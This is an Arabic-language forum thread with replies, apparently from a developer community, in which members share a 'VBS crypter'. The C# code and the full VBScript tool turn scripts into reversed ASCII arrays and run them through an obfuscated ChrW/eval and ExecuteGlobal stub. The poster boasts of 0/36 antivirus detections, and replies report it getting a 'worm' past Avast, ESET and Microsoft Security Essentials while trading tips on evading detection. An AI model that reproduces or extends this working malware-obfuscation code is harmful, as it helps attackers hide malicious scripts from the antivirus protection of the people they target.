[Simple Crypter VBS [0/36

تم تحميل الصفحة في 1,3391690 ثانية
[Simple Crypter VBS [0/36
إنضم
4 نوفمبر 2013
المشاركات
75
الإعجابات
112
النقاط
33
العمر
19
الإقامة
لــــيــــبــــيــــا
السلام عليكم ورحمة الله

تشفير ملفات VBS

:rolleyes:




ممم.... تخيل ان هناك مقدمة جميلة

نبدأ برشح الاكواد :)


C#:
static String VBS(String S)//فنكشن يرجع قيمة سترنج
        {
        
            StringBuilder Out = new StringBuilder();//:) سترنج بلدر

           Out.Append ("A = Array( ");//نضيف بداية الاري
            var oo = new List<int>();//ممم... لست انتجر بنستخدمها لقلب القيم
            oo.Add(0);//ضرف فارغ :)
            foreach (var c in S)//حلقة تمر على كل حفر داخل السكربت
            {
                oo.Add((int)(c));//جلب قيمة الاسكي لكل حرف وتخزينها في الست

            }
            for (int i = oo.ToArray().Length-1 ; i > 0 ; i-- )//حلقة فورة عشان نقلب ترتيب قيم الاسكي
            {
                Out.Append(oo[i] + ", ");//نخزن القيم المقلوبة في السترنج بلدر
            }
            return Out.ToString().Remove(Out.Length - 2, 1) + ')';//نرجع المصفوفة الخاصة بسكربت VBS كسترنق :)
        }

تمام الان نأتي للجزء المتعلق بالفك في سكربت ال vbs


كود:
A = Array( 41, 34, 100, 108 ..... )'ناتج الفنكشن الاول
C = Array ("W","r","h","C") 'تمويه للدالة chrw
   O = ""'متغير لحفظ الناتج فيه
   L = UBound(a)' ناخد طول المصفوفة
   For i = L To 0 Step -1 ' حلقة تبداء من طول المصفوفة وتنتهي بي 0
   O =  O &  eval(C(3) & C(2) & C(1) & C(0) & "(A(i))") 'نستخدم دالة eval عشان نطلع الكركتر المقابل لقيمة الاسكي
   Next
ExecuteGlobal O 'تنفيد الناتج :)
اتمنى ان يكون كل شيء واضح
الان هدا رابط المشروع جاهز


Dev-Point | تحميل

النتيجة[0/36] كلين :) أخضر جميل

7.vbs | 0/36 | NoDistribute

اتمنى ان يكون الموضوع في المستوى المطلوب :)
والى اللقاء
:]d (4):
 
التعديل الأخير:

Bashar Bachir

ديـف بـويـنـتـي
إنضم
16 مارس 2011
المشاركات
7,444
الإعجابات
8,385
النقاط
173
الإقامة
Germany
شو قلت لك قبل ههه .. انت ملاحظ انو مواضيعك عمتصير اذكى واقوا ؟..
مافي حل ابدا للي حابب تتطور افكاره ويقوا مستواه الا انه يطرحهم ..
ماشاء الله عليك اخي الحبيب .. مبدع كما عودتنا واتمنى رؤية معرفك هنا بنقطة التطوير دائما
عند حلب قيمة الاسكي لكل تشار مافي داعي تعمل كاست انتجر للقيمة المجلبة "ملاحظة مش مهمة ومايعني ابدا عندك خطا"
كود:
oo.Add(c);
مبسوط كثير من طريقة تفكيرك ومستواك.. الله يزيدك من علمه اخي الحبيب
وباذن الله عن قريب بتكون من المفكرين المبدعين بالديف ..
واصل ..
 
إنضم
4 نوفمبر 2013
المشاركات
75
الإعجابات
112
النقاط
33
العمر
19
الإقامة
لــــيــــبــــيــــا
شو قلت لك قبل ههه .. انت ملاحظ انو مواضيعك عمتصير اذكى واقوا ؟..
مافي حل ابدا للي حابب تتطور افكاره ويقوا مستواه الا انه يطرحهم ..
ماشاء الله عليك اخي الحبيب .. مبدع كما عودتنا واتمنى رؤية معرفك هنا بنقطة التطوير دائما
عند حلب قيمة الاسكي لكل تشار مافي داعي تعمل كاست انتجر للقيمة المجلبة "ملاحظة مش مهمة ومايعني ابدا عندك خطا"
كود:
oo.Add(c);
مبسوط كثير من طريقة تفكيرك ومستواك.. الله يزيدك من علمه اخي الحبيب
وباذن الله عن قريب بتكون من المفكرين المبدعين بالديف ..
واصل ..
شكرا لك أخي بشار على الكلام المشجع :dv (2):

منك نتعلم
:)
 

Bashar Bachir

ديـف بـويـنـتـي
إنضم
16 مارس 2011
المشاركات
7,444
الإعجابات
8,385
النقاط
173
الإقامة
Germany
شكرا لك أخي بشار على الكلام المشجع :dv (2):

منك نتعلم
:)
ماشاء الله عليك افكارك تخطت افكاري .."انا مافكرت بتحويل السكربت باكلمه للاسكي"
نقطة لصالحك هذه .. دائما الافكار هي ماتهم لا من هو بشار ولاوش عضويته ..
افكارك رائعة اخي اتمنى لك كل خير .. واصل تألقك وبانتظار جديدك وان شاء الله انا متاكد انك رح تتغلب على كثير من القديمين هنا
 

Abuokhalil

Beginner Developer
rank
إنضم
19 يوليو 2017
المشاركات
129
الإعجابات
132
النقاط
43
الإقامة
الجزائر
ماشاء الله ماشاء الله
انت مبدع
تفكير راقي
رغم بساطة الفكرة وعبقريتها
نتيجتها قوية و يحسب لها الف حساب
استمر
موفق ان شاء الله
 
إنضم
4 نوفمبر 2013
المشاركات
75
الإعجابات
112
النقاط
33
العمر
19
الإقامة
لــــيــــبــــيــــا
ماشاء الله ماشاء الله
انت مبدع
تفكير راقي
رغم بساطة الفكرة وعبقريتها
نتيجتها قوية و يحسب لها الف حساب
استمر
موفق ان شاء الله
شكرا لك أخي :32:
مبدع من زمان
تحياتي لك اخي
وشكرا على البرمجة الرائعة
:637475: تسلم أخي
:dv (2): great
 
إنضم
4 نوفمبر 2013
المشاركات
75
الإعجابات
112
النقاط
33
العمر
19
الإقامة
لــــيــــبــــيــــا
إنضم
26 ديسمبر 2009
المشاركات
412
الإعجابات
305
النقاط
63
تسلم اخي الكريم
جهد رائع ومميز جداااااااااااااااااااااااا



المشكله فقط في برنامج الافاسات للاسف اصبح يمسك جميع انواع التشفيرات
وقد تم تجربة برنامج للتشفير وتم مسكه من قبل افاسات وتم التمويه ولم يمر على افاست

اصبح عقده بصراحه
 
إنضم
16 سبتمبر 2010
المشاركات
19
الإعجابات
6
النقاط
3
تسلم اخي الكريم
جهد رائع ومميز جداااااااااااااااااااااااا



المشكله فقط في برنامج الافاسات للاسف اصبح يمسك جميع انواع التشفيرات
وقد تم تجربة برنامج للتشفير وتم مسكه من قبل افاسات وتم التمويه ولم يمر على افاست

اصبح عقده بصراحه
هذا ما يحدث مع ايضا الافست لا يكتشف السيرفر وكل شىء تمام ولكن بمجرد تشغيلة دقيقة ويحذفه
 
إنضم
27 أكتوبر 2009
المشاركات
354
الإعجابات
221
النقاط
43
تمت التجربه

التشفيرة قوية وجميله

تتخطى
Avast
ESET Smart Security
Microsoft Security Essentials
-----------------

لكن تتوقف الاوامر داخل الدوده مثلا عند تشغيل اي ملف من الدوده بالجهاز لا تعمل
بسبب الحمايه
Avast

لكن لا يتم حذف الدوده من البرنامج
---سأحاول معرفة سبب هذا التوقف من اي شيئ بالدفاع للأفاست---
لان دروع الافاست كثيره

لكن التخطي تمام للحمايات

مكشوفه من الحماية
360 Total Security

لكن الطريقة جديده كليا ويمكن تطويرها

ان ارتم تصوير فيديو انا جاهز

بس طلع طويل شوي

حبيت اضع الشرح الا

تحياتي لصاحب الموضوع
 
إنضم
4 نوفمبر 2013
المشاركات
75
الإعجابات
112
النقاط
33
العمر
19
الإقامة
لــــيــــبــــيــــا
تسلم اخي الكريم
جهد رائع ومميز جداااااااااااااااااااااااا



المشكله فقط في برنامج الافاسات للاسف اصبح يمسك جميع انواع التشفيرات
وقد تم تجربة برنامج للتشفير وتم مسكه من قبل افاسات وتم التمويه ولم يمر على افاست

اصبح عقده بصراحه
هذا ما يحدث مع ايضا الافست لا يكتشف السيرفر وكل شىء تمام ولكن بمجرد تشغيلة دقيقة ويحذفه
أعتقد الامر ليس له علاقة بالتشفيرة جرب حط دودة بدون تثبيتات رح تعمل 100% المشكلة في طرقة تثبيت الدودة تقدر تجرب طرق اخرى للتثبيت ورح تتخطى :) :dv (2):

تمت التجربه

التشفيرة قوية وجميله

تتخطى
Avast
ESET Smart Security
Microsoft Security Essentials
-----------------

لكن تتوقف الاوامر داخل الدوده مثلا عند تشغيل اي ملف من الدوده بالجهاز لا تعمل
بسبب الحمايه
Avast

لكن لا يتم حذف الدوده من البرنامج
---سأحاول معرفة سبب هذا التوقف من اي شيئ بالدفاع للأفاست---
لان دروع الافاست كثيره

لكن التخطي تمام للحمايات

مكشوفه من الحماية
360 Total Security

لكن الطريقة جديده كليا ويمكن تطويرها

ان ارتم تصوير فيديو انا جاهز

بس طلع طويل شوي

حبيت اضع الشرح الا

تحياتي لصاحب الموضوع
تحياتي لك أخي كات مان ادا اكتشفت شيء خبرنا :637475:
عندي سؤال حول الحماية 360 Total Security هل تكتشف الملف سكان تايم ام رن تايم ؟
 
إنضم
27 أكتوبر 2009
المشاركات
354
الإعجابات
221
النقاط
43
أعتقد الامر ليس له علاقة بالتشفيرة جرب حط دودة بدون تثبيتات رح تعمل 100% المشكلة في طرقة تثبيت الدودة تقدر تجرب طرق اخرى للتثبيت ورح تتخطى :):dv (2):



تحياتي لك أخي كات مان ادا اكتشفت شيء خبرنا:637475:
عندي سؤال حول الحماية 360 Total Security هل تكتشف الملف سكان تايم ام رن تايم ؟
سكان تايم
 

Hackoo

Beginner Developer
rank
إنضم
6 فبراير 2018
المشاركات
65
الإعجابات
74
النقاط
18
I have finished to translate this program in pure vbscript and here is a screenshot to show you how we can use it !



كود:
' The idea is inspired from this thread 
' https://www.dev-point.com/vb/threads/683509/
Option Explicit
Dim ws,Title,InPutFile,OutPutFile,Data
Title = "VBS Crypter by Hackoo 2018"
If wscript.arguments.count > 0 Then
' The InPutFile is the file to be dragged and dropped over this Vbscript
' InPutFile هو الملف الذي سيتم سحبه وإسقاطه عبر هذا Vbscript
	InPutFile = Wscript.Arguments(0)
' We ensure and check if the file has a .vbs or .vbe extension
' نحن نحرص على ما إذا كان الملف يحتوي على امتداد .vbs أو .vbe
	If Not IsVBSFile(InPutFile) Then Call Display_Help_Usage()
	OutPutFile = GetFilenameWithoutExtension(InPutFile) & "_Encrypted.vbs"
	Data = ReadFile(InPutFile)
	Write2File Encrypt(Data),OutPutFile
	Set ws = CreateObject("wscript.shell")
	ws.Popup "The Vbscript file " & chr(34) & InPutFile & chr(34) & vbCrLF &_
	"is encrypted successfully ==> " & chr(34) & OutPutFile & chr(34),8,Title,vbInformation
	Explorer(OutPutFile)
	ws.run "CMD /C Start /MAX Notepad " & chr(34) & OutPutFile & chr(34),0,True
Else
	Call Display_Help_Usage()
End If
'**********************************************************
Function Encrypt(Data)
	Dim MyArray,Data2,i
	MyArray = "A = Array("
	For i = Len(Data) To 1 step -1
		MyArray = MyArray & Asc(Mid(Data,i,1))
		If i <> 1 Then
			MyArray = MyArray & ","
		Else
			MyArray = MyArray & ")"
		End If
	Next
	Data2 = "C = Array (""W"",""r"",""h"",""C"")" & vbCrLF &_
	"For i = UBound(a) To 0 Step -1" & vbCrLF &_
	"O =  O &  eval(C(3) & C(2) & C(1) & C(0) & ""(A(i))"")" & vbCrLF &_
	"Next" & vbCrLF &_
	"ExecuteGlobal O"
	Encrypt = MyArray & vbCrLF & Data2
End Function
'**********************************************************
Function ReadFile(InPutFile)
	Dim objFSO,oTS,sText
	Set objFSO = CreateObject("Scripting.FileSystemObject")
	Set oTS = objFSO.OpenTextFile(InPutFile)
	sText = oTS.ReadAll
	oTS.close
	set oTS = nothing
	Set objFSO = nothing
	ReadFile = sText
End Function 
'**********************************************************
Sub Write2File(strText,OutPutFile)
	Dim fs,ts 
	Const ForWriting= 2
	Set fs = CreateObject("Scripting.FileSystemObject")
	Set ts = fs.OpenTextFile(OutPutFile,ForWriting,True)
	ts.WriteLine strText
	ts.Close
End Sub
'*********************************************************
Function GetFilenameWithoutExtension(FileName)
	Dim Result, i
	Result = FileName
	i = InStrRev(FileName, ".")
	If ( i > 0 ) Then
		Result = Mid(FileName, 1, i - 1)
	End If
	GetFilenameWithoutExtension = Result
End Function
'*********************************************************
Sub Display_Help_Usage()
	Dim ws
	Set ws = CreateObject("wscript.shell")
	ws.Popup "You should drag and drop a Vbscript file over this script " & vbCrLF &_
	chr(34) & WSH.ScriptName & chr(34) & vbCrLF &_
	" to be encrypted !",8,Title,vbExclamation
	Wscript.Quit(1)
End Sub
'*********************************************************
Function IsVBSFile(sFile)
	Dim regEx
	Set regEx = New RegExp
	regEx.Pattern = "(.vbs|.vbe)"
	regEx.IgnoreCase = True
	If regEx.Test(sFile) Then
		IsVBSFile = True
	End If
End Function
'*********************************************************
Sub Explorer(File)
	ws.run "Explorer /n,/select,"& File &"",1,True
End Sub
'*********************************************************
 
إنضم
4 نوفمبر 2013
المشاركات
75
الإعجابات
112
النقاط
33
العمر
19
الإقامة
لــــيــــبــــيــــا
I have finished to translate this program in pure vbscript and here is a screenshot to show you how we can use it !



كود:
' The idea is inspired from this thread
' https://www.dev-point.com/vb/threads/683509/
Option Explicit
Dim ws,Title,InPutFile,OutPutFile,Data
Title = "VBS Crypter by Hackoo 2018"
If wscript.arguments.count > 0 Then
' The InPutFile is the file to be dragged and dropped over this Vbscript
' InPutFile هو الملف الذي سيتم سحبه وإسقاطه عبر هذا Vbscript
    InPutFile = Wscript.Arguments(0)
' We ensure and check if the file has a .vbs or .vbe extension
' نحن نحرص على ما إذا كان الملف يحتوي على امتداد .vbs أو .vbe
    If Not IsVBSFile(InPutFile) Then Call Display_Help_Usage()
    OutPutFile = GetFilenameWithoutExtension(InPutFile) & "_Encrypted.vbs"
    Data = ReadFile(InPutFile)
    Write2File Encrypt(Data),OutPutFile
    Set ws = CreateObject("wscript.shell")
    ws.Popup "The Vbscript file " & chr(34) & InPutFile & chr(34) & vbCrLF &_
    "is encrypted successfully ==> " & chr(34) & OutPutFile & chr(34),8,Title,vbInformation
    Explorer(OutPutFile)
    ws.run "CMD /C Start /MAX Notepad " & chr(34) & OutPutFile & chr(34),0,True
Else
    Call Display_Help_Usage()
End If
'**********************************************************
Function Encrypt(Data)
    Dim MyArray,Data2,i
    MyArray = "A = Array("
    For i = Len(Data) To 1 step -1
        MyArray = MyArray & Asc(Mid(Data,i,1))
        If i <> 1 Then
            MyArray = MyArray & ","
        Else
            MyArray = MyArray & ")"
        End If
    Next
    Data2 = "C = Array (""W"",""r"",""h"",""C"")" & vbCrLF &_
    "For i = UBound(a) To 0 Step -1" & vbCrLF &_
    "O =  O &  eval(C(3) & C(2) & C(1) & C(0) & ""(A(i))"")" & vbCrLF &_
    "Next" & vbCrLF &_
    "ExecuteGlobal O"
    Encrypt = MyArray & vbCrLF & Data2
End Function
'**********************************************************
Function ReadFile(InPutFile)
    Dim objFSO,oTS,sText
    Set objFSO = CreateObject("Scripting.FileSystemObject")
    Set oTS = objFSO.OpenTextFile(InPutFile)
    sText = oTS.ReadAll
    oTS.close
    set oTS = nothing
    Set objFSO = nothing
    ReadFile = sText
End Function
'**********************************************************
Sub Write2File(strText,OutPutFile)
    Dim fs,ts
    Const ForWriting= 2
    Set fs = CreateObject("Scripting.FileSystemObject")
    Set ts = fs.OpenTextFile(OutPutFile,ForWriting,True)
    ts.WriteLine strText
    ts.Close
End Sub
'*********************************************************
Function GetFilenameWithoutExtension(FileName)
    Dim Result, i
    Result = FileName
    i = InStrRev(FileName, ".")
    If ( i > 0 ) Then
        Result = Mid(FileName, 1, i - 1)
    End If
    GetFilenameWithoutExtension = Result
End Function
'*********************************************************
Sub Display_Help_Usage()
    Dim ws
    Set ws = CreateObject("wscript.shell")
    ws.Popup "You should drag and drop a Vbscript file over this script " & vbCrLF &_
    chr(34) & WSH.ScriptName & chr(34) & vbCrLF &_
    " to be encrypted !",8,Title,vbExclamation
    Wscript.Quit(1)
End Sub
'*********************************************************
Function IsVBSFile(sFile)
    Dim regEx
    Set regEx = New RegExp
    regEx.Pattern = "(.vbs|.vbe)"
    regEx.IgnoreCase = True
    If regEx.Test(sFile) Then
        IsVBSFile = True
    End If
End Function
'*********************************************************
Sub Explorer(File)
    ws.run "Explorer /n,/select,"& File &"",1,True
End Sub
'*********************************************************
مشاء الله عليك أخي اول مرة اشوف كريبتر مبرمج بال vbs :eek:
ابدااع:6::6::6:
:7::7::7:
:dv (2)::dv (2)::dv (2)::dv (2)::dv (2)::dv (2)::dv (2)::dv (2)::dv (2)::dv (2):

 

الأعضاء النشطين حاليآ الذين يشاهدون هذا الموضوع (1 عضو و 0 ضيف)

خيارات الاستايل

نوع الخط
مودك
اخفاء السايدر بار OFF
توسيط المنتدى OFF
فصل الأقسام OFF
الأقسام الفرعية OFF
عرض المشاركات
حجم الخط
معلومات العضو OFF
إخفاء التوقيع OFF

إرجاع خيارات الإستايل